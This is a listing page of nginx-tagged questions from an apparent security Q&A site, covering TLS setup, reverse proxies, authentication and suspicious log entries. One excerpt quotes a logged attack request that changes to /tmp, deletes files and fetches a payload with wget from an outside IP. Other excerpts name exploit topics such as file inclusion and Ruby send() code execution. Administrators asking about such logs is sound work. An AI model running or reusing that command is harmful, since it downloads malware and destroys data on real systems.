Questions tagged [nginx]

nginx [engine x] is an HTTP and reverse proxy server, written by Igor Sysoev

Filter by
Sorted by
Tagged with
0
votes
0answers
17 views

Command substitution for code execution via Ruby's send() method

I am working on a challenge that involves getting code execution on a Ruby application hosted on Nginx. One of the ruby controllers seems to have been using unsanitized user input as part of the send()...
0
votes
0answers
37 views

What reasons can result in legitimate long Web/HTTP parameter values? [closed]

I'm researching AI-based solutions to detect malicious web requests. I recently found this paper, showing that those web requests containing attack payloads are mostly malicious SQL injection/XSS ...
0
votes
1answer
39 views

Encryption with Tomcat & Nginx reverse proxy

I'm working with Tomcat and nginx as a reverse proxy and I'm trying to have a better understanding of how the traffic flows and of what the security issues are. Picture this as what I have in mind: ...
0
votes
1answer
62 views

Changing $_SERVER['REMOTE_ADDR'] remotely

On a nginx web-server running the following config is to possible to change $_SERVER['REMOTE_ADDR'] remotely?: user www; pid /run/nginx.pid; error_log /dev/stderr info; events { ...
0
votes
1answer
113 views

Spam GET And POST Requests - Are They Dangerous?

I am getting a lot of spam GET and POST requests lately which some of them look like this: "GET /config/getuser?index=0 HTTP/1.1" 404 143 "-" "Mozilla/5.0 (X11; Ubuntu; Linux ...
1
vote
1answer
71 views

Can a machine running a packet sniffer see what nginx is forwarding on localhost to a Flask app?

I want to serve a Flask application from my pc. Other machines in my network only should be able to consume the API. However, I wish to have the communication between the other machines and the API ...
1
vote
2answers
74 views

Is it unsafe to publish your nginx configs?

I've recently started to automate a lot of my tasks for my private VPS. A significant part of working with this server is ensuring the nginx webserver, which handles a reverse proxy to multiple ...
2
votes
3answers
81 views

Is there any way for a client to view headers set by an NGINX reverse proxy?

I am setting up an NGINX reverse proxy, which sits in front of an API. I would like to use: proxy_set_header X-Secret-Key ${SECRET_VALUE}; to add a token to the request, which is then read by the API. ...
0
votes
0answers
18 views

How to connect Windows CNG with Nginx in order to protect server private keys?

As I read on this question, private keys are protected by CNG mechanisms in Windows. So using NGINX, I would like to know how to establish the communication between NGINX and this cryptographic API in ...
3
votes
0answers
78 views

Is this nginx config suitable to enforce proper authorization?

Scenario I have a website secret.example.com, which contains information which must not be disclosed to third parties. In order to protect the information, TLS client authentication was chosen. ...
1
vote
1answer
110 views

Why is php-fpm trying to connect somewhere on port 443?

I have nginx and php-fm set up to front a word press site. I used certbot to setup TLS. When I load any page, I see selinux violations and it looks like php-fpm is trying to reach out to some port ...
0
votes
0answers
48 views

DDoS in form of bad bots?

Recently, one of my servers came under attack by DDoSing it. After inspection of access logs, I can only find one common denominator: Referrer. All of request come with (I assume) fake referrer: ...
0
votes
1answer
849 views

“unsupported certificate purpose” for nginx client auth

Please concern the following setup: A client certificate is issued like this: Root CA → Intermediate CA → Client Cert Let's assume everything is fine up to here, the intermediate CA cert is properly ...
1
vote
1answer
2k views

Mongo DB hacked (read_me_to_recover) without the port exposed in the firewall?

I have recently set up parse-server on a DO VPS using 3 docker containers; one for parse-server, one for parse-server dashboard and one for mongodb. Because I am just testing this setup I left the ...
0
votes
2answers
127 views

Unusal GET requests in my nodejs journal - has my nginx/node been hacked? [duplicate]

Saw this in the journalctl for a service I have: jul 29 12:39:05 ubuntu-18 node[796]: GET http://www.123cha.com/ 200 147.463 ms - 8485 jul 29 12:39:10 ubuntu-18 node[796]: GET http://www.rfa.org/...
0
votes
1answer
54 views

Nginx module security

Im considering using this nginx module https://github.com/leev/ngx_http_geoip2_module to get the Information from which Country the IP is. My question is since im compiling the module by myself, how ...
3
votes
1answer
124 views

Why request shell commands from nginx?

I was playing around with nginx and noticed that within 1-2 hours of putting it online, I got entries like this in my logs: 170.81.46.70 - - "GET /shell?cd+/tmp;rm+-rf+*;wget+ 45.14.224.220/jaws;...
0
votes
1answer
747 views

HTTP Basic Auth and CSRF

I would like to know if the Basic Authentication header for site A can be sent from site B when trying to access site A for non-GET requests (which would make the site vulnerable to CSRF attacks). I ...
3
votes
2answers
384 views

User authentication: In HTTP Server vs. in Web Application

Management decided to switch the authentication-backend from LDAP to Kerberos as LDAP is deemed "obsolete and insecure". Also they want to switch from Apache to nginx for "performance ...
0
votes
0answers
35 views

Is there a way to limit cookies to certain hosts in HTTP?

Using Nginx, I hope to restrict the permissible hosts for cookies. My initial intention was to employ a Content Security Policy for this purpose, but I don't see an obvious way to do this via a CSP. ...
0
votes
0answers
82 views

Is `SecAction` order important for an OWASP ModSecurity config file?

Using a web server with Nginx + ModSecurity + OWASP ModSecurity Core Rules... On the OWASP config file crs-setup.conf is the order of the config section SecAction important or can i order them ...
1
vote
1answer
472 views

Private ip address revealed by nginx, should I worry?

I run nikto on a server, let's say www.example.com and it says the following: OSVDB-630: The web server may reveal its internal or real IP in the Location header via a request to / over HTTP/1.0. ...
0
votes
1answer
119 views

Why do we want a timeout on a server?

This question is quite general as I want to understand the (security) benefits of a 'timeout' in general. For our Nginx proxy-server, we have been using HTTP/S timeouts where we came across the ...
0
votes
2answers
209 views

Prevent download of an angular website by unauthenticated users

I have an app using angular and when deployed to a server, everyone can ofc download the source codes, obfuscated or not. Yet, I would like to prevent user that are not authenticated to see the ...
1
vote
1answer
162 views

On TLS-enabled nginx/httpd, is “ssl_verify_client optional_no_ca” disabling TLS's “CertificateVerify” checks?

I'm looking for an helping hand with my https nginx setup. I require my application to be exposed through an nginx frontend, offloading TLS. Easy ! The thing is, I need to have Certificate-based ...
0
votes
2answers
88 views

Too much requests on the Nginx Server [closed]

I'm receiving a lot of requests like these [server] zcat access*gz | grep 404 | awk '{print $1" "$7}' | sort | uniq -c | less : 2 103.193.242.137 /MCLi.php 1 103.193.242.137 /Moxin.PHP ...
-1
votes
1answer
187 views

DH cipher suites and DH OpenSSL Generated

I need a openssl generated diffie-hellman params for work with ECDHE or DHE cipher suites on TLSv1.2 nginx server?
1
vote
2answers
254 views

PHP Local File Inclusion from URL; no param

The PHP code has a handleRoute($path) function that is triggered for URLs like server.com/routeme/a. Handle route has the follwing: if file_exists($path) then include $path. The $path argument is /...
3
votes
1answer
857 views

Are these log messages in my nginx server evidence of an attempted attack?

My AWS Elastic Beanstalk server is often reporting Environment health has transitioned from Ok to Severe. 100.0 % of the requests are erroring with HTTP 4xx. This happens almost daily for a few ...
4
votes
2answers
172 views

Is storing files under a web server root unsafe if it is handled by PHP and blocked by the web server site configuration file?

Say you have a website which takes file uploads of a certain type and places them in a subdirectory (let's call it "videos") in the web root. I have heard from various sources that trusting uploaded ...
4
votes
2answers
706 views

How can nginx run a file with jpg extension as a php file?

I have a follow up question on this answer about executing image files as php. The answer explains that nginx support virtual directories. One can run www.something.com/blan.php/one/two/3 and one/...
5
votes
1answer
1k views

Extracting openssl pre-master secret from nginx

I have to store pre-master keys for all TLS connections due to regulator request. We are using nginx to terminate TLS. I've read Extract pre-master keys from an OpenSSL application and especially ...
1
vote
1answer
394 views

Why is it okay to run NGiNX or Apache Web Server as root on port 80/443 and not your app directly?

Just like the title says, I would like to understand: what are the implications of running a custom app (like node or flask) on port 80/443. Is running a reverse proxy like Nginx mandatory from a ...
1
vote
1answer
167 views

URL rewrite spoofable

I am considering using URL rewrites in kubernetes nginx proxy to publish selected context paths in microservices which are run in a cluster running internal services. For example https://public....
0
votes
0answers
194 views

what kind of attack is this

Im developing a website on test server and so when debugging some stuff I had to look in access log, this is a small chunk of what I saw: 37.99.49.203 - - [13/May/2019:17:51:34 +0200] "H\x1E\xF3qxZ\...
2
votes
0answers
341 views

Malicious PNG (html with png header)

I found following security notice on Django website: Django’s media upload handling poses some vulnerabilities when that media is served in ways that do not follow security best practices. ...
50
votes
5answers
13k views

What exploit are these user agents trying to use?

I just looked at my user agent tracking page on my site (archived on Yandex) and I noticed these user agents. I believe they are an attempt to exploit my server (Nginx with PHP). The 1 in front of it ...
1
vote
1answer
155 views

Is my server under some kind of reconnaisance/attack?

Recently, I started up nginx on an Amazon EC2 instance. After a day, I started seeing these messages in my log. Some client keeps trying to call /add and /health.html on my server. I don't have those ...
1
vote
1answer
1k views

Is it a security risk to run master process of nginx as root?

I'm using nginx (Port 8888) as a reverse proxy for my web server running over 8080. In the traditional way, nginx master process runs as root and spawns the child processes with user www-data. Is it ...
0
votes
2answers
276 views

Are my letsencrypt ssl ciphers strong enough?

I have these settings for my certbot certificate on my nginx virtual host. Is this complete or secure/valid? someone mentioned something about unsecure ciphers v1.2 or something ## SSL ...
0
votes
2answers
333 views

Security best practises for my first ever Node, Mongodb, Nginx production app on a Ubuntu VPS

So as the title says I'm just deploying my first ever app in production. Because I don't have experience, I was told to ask someone who knows this stuff. So how should I ensure the best security for ...
1
vote
1answer
1k views

Nginx: mod-security rule for http slow DoS attack

The only related rule in mod-security for slow DoS is modsecurity_crs_11_slow_dos_protection, and it's for Apache only. Is there a rule for Nginx?
1
vote
1answer
462 views

NGINX 444 response equivalent for Apache server

How can I configure Apache HTTPD server to send no response and close connection in case of DDoS or malicious request
3
votes
1answer
134 views

I'm moving my website to a new server, what implications does this have for my SSL certificate?

I run a website which I serve over https and https only (add_header Strict-Transport-Security "max-age=63072000; includeSubDomains; preload";) The ssl certificate I bought came from namecheap.com, ...
1
vote
1answer
309 views

Suspiscious HTTP request to nginx server in server log, what is it?

I have an nginx server running an instance of and express/nodejs server. I was going through the logs to see what was being requested, and I noticed a few normal attempts for common flaws in things ...
0
votes
1answer
1k views

Help on what to do with these suspicious logs

Just set up my first linode server this last Wednesday, and today I tried to take a look on the nginx access logs, and found this suspicious logs. 47.96.15.13 - - [28/Jul/2018:14:54:05 +0800] "GET /...
2
votes
1answer
210 views

Two certificates with HSTS on different ports?

Is it possible to set up Nginx in such way, that on the same domain it will serve on two different ports, two different valid certificates both with HSTS? Certificates are from different CA and for ...
2
votes
2answers
1k views

Should we enable TLS on backend connection after reverse proxy? [duplicate]

I have a reverse proxy (e.g. nginx, nghttpx, haproxy) that proxies connection to a service running on the same physical server. I think the most common way to configure this setup is to enable TSL ...
1
vote
0answers
96 views

How to maintain sensible cipher list for a public webserver [duplicate]

I'm configuring nginx and am trying to find a cipher list that gives an A standard over at SSLlabs while also allowing common browsers to access the website. I am not an expert and am asking this ...
7
votes
2answers
521 views

What are the potential vulnerabilities of allowing a large http body size?

With NGINX and PHP I am allowing 5GB files to be 'uploaded' to my server although they will not be downloaded unless they are 'legitimate' (that is for another question ;)). I was wondering is this is ...